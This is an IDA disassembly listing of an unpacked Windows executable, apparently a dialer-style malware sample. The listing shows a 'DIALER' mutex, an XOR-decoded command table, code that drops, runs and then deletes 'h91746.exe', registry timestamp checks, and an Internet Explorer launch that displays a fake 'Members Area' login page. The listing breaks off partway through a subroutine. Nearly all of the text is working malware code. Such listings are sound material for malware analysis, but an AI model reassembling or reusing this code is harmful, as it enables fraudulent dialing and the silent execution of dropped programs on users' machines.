;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	B610B3E5BA1C41F946788468DECC800B

; File Name   :	u:\work\b610b3e5ba1c41f946788468decc800b_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	6000000
; Section 1. (virtual address 00001000)
; Virtual size			: 00001F97 (   8087.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00000200
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_code		segment	para public 'CODE' use32
		assume cs:_code
		;org 6001000h
		assume es:nothing, ss:nothing, ds:_code, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

		public start

start		proc near
		push	3000h		; dwSize
		push	400000h		; lpAddress
		call	ds:VirtualLock	; VirtualLock
		call	sub_6002CEB
		push	offset Name	; "DIALER"
		push	0		; bInitialOwner
		push	0		; lpMutexAttributes
		call	ds:CreateMutexA	; CreateMutexA
		call	ds:GetLastError
		cmp	eax, 0B7h
		jnz	short loc_600103F
		push	0		; uExitCode
		call	ds:ExitProcess	; ExitProcess
; ---------------------------------------------------------------------------

loc_600103F:				; CODE XREF: start+35j
		push	50000h		; dwSize
		call	sub_6001D3D
		test	eax, eax
		jnz	short loc_6001055
		push	0		; uExitCode
		call	ds:ExitProcess	; ExitProcess
; ---------------------------------------------------------------------------

loc_6001055:				; CODE XREF: start+4Bj
		mov	edi, eax
		call	sub_6001946
		test	eax, eax
		jz	short loc_6001068
		push	0		; uExitCode
		call	ds:ExitProcess	; ExitProcess
; ---------------------------------------------------------------------------

loc_6001068:				; CODE XREF: start+5Ej
		mov	ebp, offset dword_6004000
		add	ebp, 4
		xor	ebx, ebx
		mov	eax, 6Fh

loc_6001077:				; CODE XREF: start+8Ej
		xor	[ebp+ebx+0], al
		cmp	byte ptr [ebp+ebx+0], 9
		jz	short loc_6001090
		add	eax, 93h
		inc	ebx
		cmp	ebx, 1000h
		jl	short loc_6001077

loc_6001090:				; CODE XREF: start+80j
		mov	ebx, edi
		add	ebx, 400h
		mov	ds:6003314h, ebx
		add	ebx, 80h
		mov	ds:6003318h, ebx
		add	ebx, 80h
		mov	ds:600331Ch, ebx
		add	ebx, 80h
		mov	ds:6003320h, ebx
		add	ebx, 80h
		mov	ds:6003328h, ebx
		add	ebx, 80h
		mov	ds:600332Ch, ebx
		add	ebx, 80h
		mov	ds:6003330h, ebx
		add	ebx, 80h
		mov	ds:6003334h, ebx
		add	ebx, 80h
		mov	ds:6003338h, ebx
		add	ebx, 80h
		mov	ds:600333Ch, ebx
		mov	ebx, edi
		add	ebx, 400h
		mov	ecx, 200h
		xor	eax, eax
		push	edi
		add	edi, 400h
		rep stosd
		pop	edi
		xor	ebx, ebx

loc_6001125:				; CODE XREF: start+13Cj start+151j ...
		mov	al, [ebp+ebx+0]
		cmp	al, 1
		jnz	short loc_600113E
		push	ebp
		push	ebx
		push	dword ptr ds:6003314h
		call	sub_60017AB
		mov	ebx, eax
		jmp	short loc_6001125
; ---------------------------------------------------------------------------

loc_600113E:				; CODE XREF: start+12Bj
		cmp	al, 2
		jnz	short loc_6001153
		push	ebp
		push	ebx
		push	dword ptr ds:6003318h
		call	sub_60017AB
		mov	ebx, eax
		jmp	short loc_6001125
; ---------------------------------------------------------------------------

loc_6001153:				; CODE XREF: start+140j
		cmp	al, 3
		jnz	short loc_6001168
		push	ebp
		push	ebx
		push	dword ptr ds:600331Ch
		call	sub_60017AB
		mov	ebx, eax
		jmp	short loc_6001125
; ---------------------------------------------------------------------------

loc_6001168:				; CODE XREF: start+155j
		cmp	al, 4
		jnz	short loc_600117D
		push	ebp
		push	ebx
		push	dword ptr ds:6003320h
		call	sub_60017AB
		mov	ebx, eax
		jmp	short loc_6001125
; ---------------------------------------------------------------------------

loc_600117D:				; CODE XREF: start+16Aj
		cmp	al, 5
		jnz	short loc_60011DF
		push	ebx
		call	sub_600183B
		test	eax, eax
		jnz	short loc_60011D9
		mov	dword ptr ds:6003340h, 0
		mov	ebx, edi
		add	ebx, 20400h
		push	dword ptr ds:600331Ch
		push	dword ptr ds:6003318h
		push	dword ptr ds:6003314h
		push	1FC00h
		push	ebx
		call	sub_60024DA
		pop	ebx
		test	eax, eax
		jnz	loc_6001500
		cmp	dword ptr ds:600335Bh, 0F4240h
		jl	short loc_60011D4
		call	sub_60018DF

loc_60011D4:				; CODE XREF: start+1CDj
		jmp	loc_6001413
; ---------------------------------------------------------------------------

loc_60011D9:				; CODE XREF: start+189j
		pop	ebx
		jmp	loc_6001413
; ---------------------------------------------------------------------------

loc_60011DF:				; CODE XREF: start+17Fj
		cmp	al, 6
		jnz	short loc_60011F7
		push	ebx
		push	dword ptr [ebp+ebx+1] ;	dwMilliseconds
		call	ds:Sleep	; Sleep
		pop	ebx
		add	ebx, 4
		jmp	loc_6001413
; ---------------------------------------------------------------------------

loc_60011F7:				; CODE XREF: start+1E1j
		cmp	al, 7
		jnz	short loc_600120D
		mov	edx, [ebp+ebx+1]
		mov	ds:6003324h, edx
		add	ebx, 4
		jmp	loc_6001413
; ---------------------------------------------------------------------------

loc_600120D:				; CODE XREF: start+1F9j
		cmp	al, 8
		jnz	short loc_6001268
		mov	edx, [ebp+ebx+1]
		mov	ecx, [ebp+ebx+5]
		add	edx, edi
		add	edx, 400h
		push	ebx
		push	edx
		push	ecx
		push	200h		; uSize
		push	edi		; lpBuffer
		call	sub_6001D0B
		push	offset aH91746_exe ; "\\h91746.exe"
		push	edi
		call	sub_6001C69
		pop	ecx
		pop	edx
		push	0		; int
		push	0		; int
		push	ecx		; nNumberOfBytesToWrite
		push	edx		; lpBuffer
		push	edi		; lpFileName
		call	sub_6001D55
		push	1B7740h		; dwMilliseconds
		push	0		; int
		push	edi		; int
		call	sub_6001DEB
		push	edi		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA
		pop	ebx
		add	ebx, 8
		jmp	loc_6001413
; ---------------------------------------------------------------------------

loc_6001268:				; CODE XREF: start+20Fj
		cmp	al, 0Ah
		jnz	short loc_60012B3
		mov	byte ptr ds:6003363h, 0
		mov	edx, [ebp+ebx+1]
		mov	ds:600335Bh, edx
		mov	edx, [ebp+ebx+5]
		mov	ds:600335Fh, edx
		add	ebx, 8
		push	eax
		mov	eax, ds:600335Bh
		test	eax, 0FFFFFFC0h
		jnz	short loc_60012AD
		test	eax, 0FFFFFF08h
		jz	short loc_60012A5
		mov	byte ptr ds:6003363h, 1

loc_60012A5:				; CODE XREF: start+29Cj
		and	eax, 7
		mov	ds:600335Bh, eax

loc_60012AD:				; CODE XREF: start+295j
		pop	eax
		jmp	loc_6001413
; ---------------------------------------------------------------------------

loc_60012B3:				; CODE XREF: start+26Aj
		cmp	al, 14h
		jnz	short loc_60012CB
		push	ebp
		push	ebx
		push	dword ptr ds:600332Ch
		call	sub_60017AB
		mov	ebx, eax
		jmp	loc_6001125
; ---------------------------------------------------------------------------

loc_60012CB:				; CODE XREF: start+2B5j
		cmp	al, 15h
		jnz	short loc_60012E3
		push	ebp
		push	ebx
		push	dword ptr ds:6003330h
		call	sub_60017AB
		mov	ebx, eax
		jmp	loc_6001125
; ---------------------------------------------------------------------------

loc_60012E3:				; CODE XREF: start+2CDj
		cmp	al, 16h
		jnz	short loc_600132A
		push	ebx
		call	sub_600183B
		test	eax, eax
		jnz	short loc_6001324
		mov	ebx, edi
		add	ebx, 20400h
		push	dword ptr ds:600331Ch
		push	dword ptr ds:6003318h
		push	dword ptr ds:6003314h
		push	1FC00h
		push	ebx
		call	sub_60024DA
		pop	ebx
		test	eax, eax
		jnz	loc_6001428
		jmp	loc_6001413
; ---------------------------------------------------------------------------

loc_6001324:				; CODE XREF: start+2EFj
		pop	ebx
		jmp	loc_6001413
; ---------------------------------------------------------------------------

loc_600132A:				; CODE XREF: start+2E5j
		cmp	al, 17h
		jnz	short loc_600134F
		push	ebp
		push	ebx
		push	dword ptr ds:6003328h
		call	sub_60017AB
		mov	ebx, eax
		push	ebx
		push	dword ptr ds:6003328h
		call	sub_6001675
		pop	ebx
		jmp	loc_6001125
; ---------------------------------------------------------------------------

loc_600134F:				; CODE XREF: start+32Cj
		cmp	al, 18h
		jnz	short loc_6001367
		push	ebp
		push	ebx
		push	dword ptr ds:6003334h
		call	sub_60017AB
		mov	ebx, eax
		jmp	loc_6001125
; ---------------------------------------------------------------------------

loc_6001367:				; CODE XREF: start+351j
		cmp	al, 19h
		jnz	short loc_600137F
		push	ebp
		push	ebx
		push	dword ptr ds:6003338h
		call	sub_60017AB
		mov	ebx, eax
		jmp	loc_6001125
; ---------------------------------------------------------------------------

loc_600137F:				; CODE XREF: start+369j
		cmp	al, 1Ah
		jnz	short loc_6001397
		push	ebp
		push	ebx
		push	dword ptr ds:600333Ch
		call	sub_60017AB
		mov	ebx, eax
		jmp	loc_6001125
; ---------------------------------------------------------------------------

loc_6001397:				; CODE XREF: start+381j
		cmp	al, 1Bh
		jnz	short loc_60013FF
		push	ebx
		push	edx
		mov	edx, ds:6003338h
		cmp	byte ptr [edx],	0
		jz	short loc_60013FB
		mov	ebx, edi
		add	ebx, 20400h
		push	ebx
		push	20000h
		push	ebx
		push	edx
		call	sub_6001EDA
		test	eax, eax
		jnz	short loc_60013C4
		pop	ebx
		jmp	short loc_60013FB
; ---------------------------------------------------------------------------

loc_60013C4:				; CODE XREF: start+3BFj
		push	eax
		push	200h		; uSize
		push	edi		; lpBuffer
		call	sub_6001D0B
		push	offset aH91746_exe ; "\\h91746.exe"
		push	edi
		call	sub_6001C69
		pop	eax
		pop	ebx
		push	0		; int
		push	0		; int
		push	eax		; nNumberOfBytesToWrite
		push	ebx		; lpBuffer
		push	edi		; lpFileName
		call	sub_6001D55
		mov	edx, ds:600333Ch
		push	0		; dwMilliseconds
		push	edx		; int
		push	edi		; int
		call	sub_6001DEB

loc_60013FB:				; CODE XREF: start+3A6j start+3C2j
		pop	edx
		pop	ebx
		jmp	short loc_6001413
; ---------------------------------------------------------------------------

loc_60013FF:				; CODE XREF: start+399j
		cmp	al, 22h
		jnz	short loc_6001411
		mov	edx, 600334Bh
		mov	byte ptr [edx],	58h
		mov	byte ptr [edx+1], 33h
		jmp	short loc_6001413
; ---------------------------------------------------------------------------

loc_6001411:				; CODE XREF: start+401j
		jmp	short loc_6001420
; ---------------------------------------------------------------------------

loc_6001413:				; CODE XREF: start:loc_60011D4j
					; start+1DAj ...
		inc	ebx
		cmp	ebx, 1000h
		jl	loc_6001125

loc_6001420:				; CODE XREF: start:loc_6001411j
		push	0		; uExitCode
		call	ds:ExitProcess	; ExitProcess
; ---------------------------------------------------------------------------

loc_6001428:				; CODE XREF: start+319j
		push	ebx
		call	sub_60018DF
		mov	esi, edi
		add	esi, 800h
		push	offset aJavascriptHtml ; "javascript:'<html><head><title>Members "...
		push	esi
		call	sub_6001BED
		push	dword ptr ds:600332Ch
		push	esi
		call	sub_6001C69
		push	offset aBBrYourPasswor ; "</b><br>Your PASSWORD	is: <b>"
		push	esi
		call	sub_6001C69
		push	dword ptr ds:6003330h
		push	esi
		call	sub_6001C69
		push	offset aBBrMembersArea ; "</b><br>Members Area URL: <a href=\""
		push	esi
		call	sub_6001C69
		push	dword ptr ds:6003320h
		push	esi
		call	sub_6001C69
		push	offset asc_6001B53 ; "\">"
		push	esi
		call	sub_6001C69
		push	dword ptr ds:6003320h
		push	esi
		call	sub_6001C69
		push	offset aABrBrToAccessU ; "</a><br><br>To access	use your usual co"...
		push	esi
		call	sub_6001C69
		push	esi
		call	sub_6001675
		push	dword ptr ds:6003334h
		push	esi
		call	sub_6001BED
		cmp	byte ptr [esi],	0
		jz	short loc_60014F5
		push	offset asc_6001BA5 ; "-"
		push	esi
		call	sub_6001C69
		push	dword ptr ds:6003314h
		push	esi
		call	sub_6001C69
		push	offset asc_6001BA5 ; "-"
		push	esi
		call	sub_6001C69
		push	dword ptr ds:6003318h
		push	esi
		call	sub_6001C69
		mov	eax, edi
		add	eax, 1000h
		push	200h
		push	eax
		push	esi
		call	sub_6001EDA

loc_60014F5:				; CODE XREF: start+4B2j
		call	sub_600158F
		pop	ebx
		jmp	loc_6001413
; ---------------------------------------------------------------------------

loc_6001500:				; CODE XREF: start+1BDj
		push	ebp
		push	ebx
		call	sub_60018DF
		push	dword ptr ds:6003320h
		call	sub_6001675
		mov	esi, edi
		add	esi, 800h
		push	dword ptr ds:6003334h
		push	esi
		call	sub_6001BED
		cmp	byte ptr [esi],	0
		jz	short loc_600156C
		push	offset asc_6001BA5 ; "-"
		push	esi
		call	sub_6001C69
		push	dword ptr ds:6003314h
		push	esi
		call	sub_6001C69
		push	offset asc_6001BA5 ; "-"
		push	esi
		call	sub_6001C69
		push	dword ptr ds:6003318h
		push	esi
		call	sub_6001C69
		mov	eax, edi
		add	eax, 1000h
		push	200h
		push	eax
		push	esi
		call	sub_6001EDA

loc_600156C:				; CODE XREF: start+529j
		call	sub_600158F
		test	eax, eax
		jz	short loc_6001587
		push	0BB8h		; dwMilliseconds
		call	ds:Sleep	; Sleep
		pop	ebx
		pop	ebp
		jmp	loc_6001413
; ---------------------------------------------------------------------------

loc_6001587:				; CODE XREF: start+573j
		push	0		; uExitCode
		call	ds:ExitProcess	; ExitProcess
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_600158F	proc near		; CODE XREF: start:loc_60014F5p
					; start:loc_600156Cp
		cmp	dword ptr ds:6003324h, 0E10h
		jg	short loc_60015F1
		cmp	dword ptr ds:60031E8h, 0
		jz	short loc_60015F1
		cmp	dword ptr ds:6003340h, 0
		jz	short loc_60015F1
		mov	eax, 3Ch
		push	eax
		call	sub_60015F4
		cmp	eax, 1
		jnz	short loc_60015DD
		cmp	dword ptr ds:6003324h, 0
		jz	short loc_60015F1
		mov	eax, ds:6003324h
		sub	eax, 3Ch
		push	eax
		call	sub_60015F4
		jmp	short $+2
		mov	ebx, 0
		jmp	short loc_60015E2
; ---------------------------------------------------------------------------

loc_60015DD:				; CODE XREF: sub_600158F+2Cj
		mov	ebx, 1

loc_60015E2:				; CODE XREF: sub_600158F+4Cj
		push	ebx
		push	dword ptr ds:6003340h
		call	dword ptr ds:60031E8h
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_60015F1:				; CODE XREF: sub_600158F+Aj
					; sub_600158F+13j ...
		xor	eax, eax
		retn
sub_600158F	endp


; =============== S U B	R O U T	I N E =======================================



sub_60015F4	proc near		; CODE XREF: sub_600158F+24p
					; sub_600158F+40p

arg_0		= dword	ptr  4

		push	0		; lpName
		push	0		; bInitialState
		push	1		; bManualReset
		push	0		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		test	eax, eax
		jz	short loc_600166D
		push	eax
		push	2
		push	eax
		push	dword ptr ds:6003340h
		call	dword ptr ds:60031F0h
		test	eax, eax
		jz	short loc_6001633
		pop	eax
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle
		jmp	short loc_600166D
; ---------------------------------------------------------------------------

loc_6001633:				; CODE XREF: sub_60015F4+33j
		pop	ebx
		mov	eax, [esp+arg_0]
		mov	ecx, 3E8h
		mul	ecx
		push	ebx
		push	eax		; dwMilliseconds
		push	ebx		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		pop	ebx
		push	eax
		push	ebx		; hObject
		call	ds:CloseHandle	; CloseHandle
		pop	eax
		cmp	eax, 102h
		jz	short loc_6001665
		test	eax, eax
		jnz	short loc_600166D
		mov	eax, 0
		retn	4
; ---------------------------------------------------------------------------

loc_6001665:				; CODE XREF: sub_60015F4+63j
		mov	eax, 1
		retn	4
; ---------------------------------------------------------------------------

loc_600166D:				; CODE XREF: sub_60015F4+1Cj
					; sub_60015F4+3Dj ...
		mov	eax, 2
		retn	4
sub_60015F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001675	proc near		; CODE XREF: start+344p start+49Ep ...

arg_0		= dword	ptr  4

		lea	esi, [edi+8]
		cmp	dword ptr ds:60031F4h, 0
		jz	short loc_60016E3
		cmp	dword ptr ds:60031FCh, 0
		jz	short loc_60016E3
		cmp	dword ptr ds:6003200h, 0
		jz	short loc_60016E3
		push	edi
		push	offset aApplicationsIe ; "Applications\\iexplore.exe\\shell\\open\\co"...
		push	80000000h
		call	dword ptr ds:60031F4h
		test	eax, eax
		jnz	short loc_60016E3
		mov	dword ptr [edi+4], 100h
		lea	ebx, [edi+4]
		push	ebx
		push	esi
		push	0
		push	0
		push	0
		push	dword ptr [edi]
		call	dword ptr ds:6003200h
		test	eax, eax
		jz	short loc_60016D9
		push	dword ptr [edi]
		call	dword ptr ds:60031FCh
		jmp	short loc_60016E3
; ---------------------------------------------------------------------------

loc_60016D9:				; CODE XREF: sub_6001675+58j
		push	dword ptr [edi]
		call	dword ptr ds:60031FCh
		jmp	short loc_60016EE
; ---------------------------------------------------------------------------

loc_60016E3:				; CODE XREF: sub_6001675+Aj
					; sub_6001675+13j ...
		push	offset aCProgra1Intern ; "c:\\progra~1\\intern~1\\iexplore.exe %1"
		push	esi
		call	sub_6001BED

loc_60016EE:				; CODE XREF: sub_6001675+6Cj
		push	25h
		push	esi
		call	sub_6001C39
		test	eax, eax
		jz	short loc_6001708
		mov	byte ptr [eax],	0

loc_60016FD:				; CODE XREF: sub_6001675+91j
		dec	eax
		cmp	byte ptr [eax],	20h
		jz	short loc_6001708
		mov	byte ptr [eax],	0
		jmp	short loc_60016FD
; ---------------------------------------------------------------------------

loc_6001708:				; CODE XREF: sub_6001675+83j
					; sub_6001675+8Cj
		mov	eax, [esp+arg_0]
		push	0		; dwMilliseconds
		push	eax		; int
		push	esi		; int
		call	sub_6001DEB
		retn	4
sub_6001675	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	edx, [esp+8]
		push	ebx
		mov	ebx, esp
		xor	eax, eax
		push	ebx
		push	edx
		push	80000002h
		call	dword ptr ds:600320Ch
		pop	ebx
		test	eax, eax
		jnz	short loc_60017A3
		mov	edx, [esp+0Ch]
		push	edx
		call	sub_6001C23
		inc	eax
		mov	ecx, eax
		push	ecx
		push	edx
		push	1
		push	0
		push	0
		push	ebx
		call	dword ptr ds:60031F8h
		test	eax, eax
		jnz	short loc_60017A3
		mov	edx, [esp+10h]
		push	edx
		call	sub_6001C23
		test	eax, eax
		jz	short loc_6001796
		mov	edx, [esp+14h]
		push	edx
		call	sub_6001C23
		inc	eax
		mov	ecx, eax
		mov	eax, [esp+10h]
		jz	short loc_6001796
		push	ecx
		push	edx
		push	1
		push	0
		push	eax
		push	ebx
		call	dword ptr ds:60031F8h
		test	eax, eax
		jnz	short loc_60017A3

loc_6001796:				; CODE XREF: .code:06001769j
					; .code:0600177Cj
		push	ebx
		call	dword ptr ds:60031FCh
		test	eax, eax
		jnz	short loc_60017A3
		jmp	short $+2

loc_60017A3:				; CODE XREF: .code:06001732j
					; .code:0600175Bj ...
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		align 4
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_60017AB	proc near		; CODE XREF: start+135p start+14Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		mov	ebx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		inc	ebx

loc_60017B9:				; CODE XREF: sub_60017AB+1Aj
		mov	al, [ebp+ebx+0]
		test	al, al
		jz	short loc_60017C7
		mov	[edx], al
		inc	edx
		inc	ebx
		jmp	short loc_60017B9
; ---------------------------------------------------------------------------

loc_60017C7:				; CODE XREF: sub_60017AB+14j
		inc	ebx
		mov	[edx], al
		mov	eax, ebx
		pop	ebp
		retn	0Ch
sub_60017AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_60017D0	proc near		; CODE XREF: sub_600183Bp sub_60018DFp ...
		push	eax
		mov	eax, esp
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	dword ptr ds:60031F4h
		test	eax, eax
		jz	short loc_60017EC
		pop	eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_60017EC:				; CODE XREF: sub_60017D0+16j
		pop	eax
		retn
sub_60017D0	endp

; ---------------------------------------------------------------------------
aVtimetimestamp	db 'VTimeTimestamp',0   ; DATA XREF: sub_600183B+13o
					; sub_60018DF+2Ao
aRtimestamp	db 'RTimestamp',0       ; DATA XREF: sub_6001946+33o
					; sub_6001946+81o
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
					; DATA XREF: sub_60017D0+4o

; =============== S U B	R O U T	I N E =======================================



sub_600183B	proc near		; CODE XREF: start+182p start+2E8p

var_8		= byte ptr -8
var_4		= byte ptr -4

		call	sub_60017D0
		test	eax, eax
		jnz	short loc_6001845
		retn
; ---------------------------------------------------------------------------

loc_6001845:				; CODE XREF: sub_600183B+7j
		push	eax
		push	eax
		push	4
		push	eax
		push	eax
		push	offset aVtimetimestamp ; "VTimeTimestamp"
		push	edi
		call	sub_6001BED
		push	600335Fh
		push	edi
		call	sub_6001C69
		pop	eax
		mov	ebx, esp
		lea	ecx, [esp+0Ch+var_8]
		lea	edx, [esp+0Ch+var_4]
		push	ecx
		push	edx
		push	ebx
		push	0
		push	edi
		push	eax
		call	dword ptr ds:6003200h
		test	eax, eax
		jnz	short loc_60018B7
		call	sub_6002C32
		mov	edx, ecx
		pop	ecx
		pop	ecx
		pop	ecx
		cmp	dword ptr ds:600335Bh, 2
		jz	short loc_60018A5
		cmp	dword ptr ds:600335Bh, 1
		jnz	short loc_60018AB
		cmp	ebx, ecx
		jz	short loc_60018D3
		jmp	short loc_60018BA
; ---------------------------------------------------------------------------

loc_60018A5:				; CODE XREF: sub_600183B+59j
		cmp	edx, ecx
		jz	short loc_60018D3
		jmp	short loc_60018BA
; ---------------------------------------------------------------------------

loc_60018AB:				; CODE XREF: sub_600183B+62j
		sub	eax, ecx
		cmp	eax, ds:600335Bh
		jl	short loc_60018D3
		jmp	short loc_60018BA
; ---------------------------------------------------------------------------

loc_60018B7:				; CODE XREF: sub_600183B+46j
		pop	eax
		pop	eax
		pop	eax

loc_60018BA:				; CODE XREF: sub_600183B+68j
					; sub_600183B+6Ej ...
		pop	eax
		push	eax
		call	dword ptr ds:60031FCh
		cmp	byte ptr ds:6003363h, 1
		jnz	short loc_60018D0
		call	sub_60018DF

loc_60018D0:				; CODE XREF: sub_600183B+8Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_60018D3:				; CODE XREF: sub_600183B+66j
					; sub_600183B+6Cj ...
		pop	eax
		push	eax
		call	dword ptr ds:60031FCh
		xor	eax, eax
		inc	eax
		retn
sub_600183B	endp


; =============== S U B	R O U T	I N E =======================================



sub_60018DF	proc near		; CODE XREF: start+1CFp start+429p ...
		call	sub_60017D0
		test	eax, eax
		jnz	short loc_60018E9
		retn
; ---------------------------------------------------------------------------

loc_60018E9:				; CODE XREF: sub_60018DF+7j
		push	eax
		push	eax
		call	sub_6002C32
		cmp	dword ptr ds:600335Bh, 2
		jnz	short loc_60018FD
		mov	eax, ecx
		jmp	short loc_6001908
; ---------------------------------------------------------------------------

loc_60018FD:				; CODE XREF: sub_60018DF+18j
		cmp	dword ptr ds:600335Bh, 1
		jnz	short loc_6001908
		mov	eax, ebx

loc_6001908:				; CODE XREF: sub_60018DF+1Cj
					; sub_60018DF+25j
		push	eax
		push	offset aVtimetimestamp ; "VTimeTimestamp"
		push	edi
		call	sub_6001BED
		push	600335Fh
		push	edi
		call	sub_6001C69
		pop	eax
		pop	ebx
		push	eax
		mov	ecx, esp
		push	4
		push	ecx
		push	4
		push	0
		push	edi
		push	ebx
		call	dword ptr ds:60031F8h
		pop	eax
		pop	eax
		push	eax
		call	dword ptr ds:60031FCh
		retn
sub_60018DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6001946	proc near		; CODE XREF: start+57p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		call	sub_60017D0
		test	eax, eax
		jnz	short loc_6001956
		retn
; ---------------------------------------------------------------------------

loc_6001956:				; CODE XREF: sub_6001946+Dj
		mov	[ebp+var_4], eax
		call	sub_6002C32
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], 4
		lea	ebx, [ebp+var_10]
		lea	edx, [ebp+var_C]
		lea	ecx, [ebp+var_14]
		push	ecx
		push	edx
		push	ebx
		push	0
		push	offset aRtimestamp ; "RTimestamp"
		push	[ebp+var_4]
		call	dword ptr ds:6003200h
		test	eax, eax
		jnz	short loc_60019A4
		cmp	[ebp+var_10], 4
		jnz	short loc_60019A4
		mov	ebx, [ebp+var_C]
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jle	short loc_60019D9
		sub	eax, ebx
		cmp	eax, 0F3Ch
		jle	short loc_60019A9

loc_60019A4:				; CODE XREF: sub_6001946+43j
					; sub_6001946+49j
		mov	eax, [ebp+var_8]
		jmp	short loc_60019B1
; ---------------------------------------------------------------------------

loc_60019A9:				; CODE XREF: sub_6001946+5Cj
		mov	eax, [ebp+var_8]
		add	eax, 0A8C0h

loc_60019B1:				; CODE XREF: sub_6001946+61j
		mov	[ebp+var_10], eax
		lea	ebx, [ebp+var_10]
		push	4
		push	ebx
		push	4
		push	0
		push	offset aRtimestamp ; "RTimestamp"
		push	[ebp+var_4]
		call	dword ptr ds:60031F8h
		xor	eax, eax
		jmp	short loc_60019DE
; ---------------------------------------------------------------------------

loc_60019D9:				; CODE XREF: sub_6001946+53j
		mov	eax, 1

loc_60019DE:				; CODE XREF: sub_6001946+91j
		push	eax
		push	[ebp+var_4]
		call	dword ptr ds:60031FCh
		pop	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_6001946	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aCProgra1Intern	db 'c:\progra~1\intern~1\iexplore.exe %1',0
					; DATA XREF: sub_6001675:loc_60016E3o
aApplicationsIe	db 'Applications\iexplore.exe\shell\open\command',0
					; DATA XREF: sub_6001675+1Fo
aH91746_exe	db '\h91746.exe',0      ; DATA XREF: start+22Fo start+3D0o
aJavascriptHtml	db 'javascript:',27h,'<html><head><title>Members Area Access</title></he'
					; DATA XREF: start+436o
		db 'ad><body><big><center><br><br>Save the login and password generat'
		db 'ed for you. It will grant access for 7 days.<br><br>Your LOGIN is'
		db ': <b>',0
aBBrYourPasswor	db '</b><br>Your PASSWORD is: <b>',0 ; DATA XREF: start+44Do
aBBrMembersArea	db '</b><br>Members Area URL: <a href="',0 ; DATA XREF: start+464o
asc_6001B53	db '">',0               ; DATA XREF: start+47Bo
aABrBrToAccessU	db '</a><br><br>To access use your usual connection.</center></big></'
					; DATA XREF: start+492o
		db 'body></html>',27h,0
asc_6001BA5	db '-',0                ; DATA XREF: start+4B4o start+4CBo ...
; char Name[]
Name		db 'DIALER',0           ; DATA XREF: start+15o

; =============== S U B	R O U T	I N E =======================================



sub_6001BAE	proc near		; CODE XREF: sub_6002289+74p
					; sub_600231F+110p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		pushf
		cld
		mov	edi, [esp+0Ch+arg_0]
		mov	esi, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_8]
		rep movsb
		lea	eax, [edi-1]
		popf
		pop	edi
		pop	esi
		retn	0Ch
sub_6001BAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001BC9	proc near		; CODE XREF: sub_6001BED+Dp
					; sub_6001C54+Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		pushf
		cld
		mov	edi, [esp+0Ch+arg_0]
		mov	esi, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_8]

loc_6001BD9:				; CODE XREF: sub_6001BC9+16j
		lodsb
		test	al, al
		jz	short loc_6001BE1
		stosb
		loop	loc_6001BD9

loc_6001BE1:				; CODE XREF: sub_6001BC9+13j
		xor	eax, eax
		stosb
		lea	eax, [edi-1]
		popf
		pop	edi
		pop	esi
		retn	0Ch
sub_6001BC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_6001BED	proc near		; CODE XREF: start+43Cp start+4AAp ...

arg_8		= dword	ptr  0Ch

		pop	edx
		mov	ebx, [esp-4+arg_8]
		mov	[esp-4+arg_8], 7FFFFFFFh
		call	sub_6001BC9
		push	ebx
		jmp	edx
sub_6001BED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6001C02	proc near		; CODE XREF: sub_6001C23+Ap
					; sub_6001C39+13p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		pushf
		cld
		mov	edi, [esp+8+arg_0]
		mov	eax, [esp+8+arg_4]
		mov	ecx, [esp+8+arg_8]
		repne scasb
		test	ecx, ecx
		jz	short loc_6001C1C
		lea	eax, [edi-1]
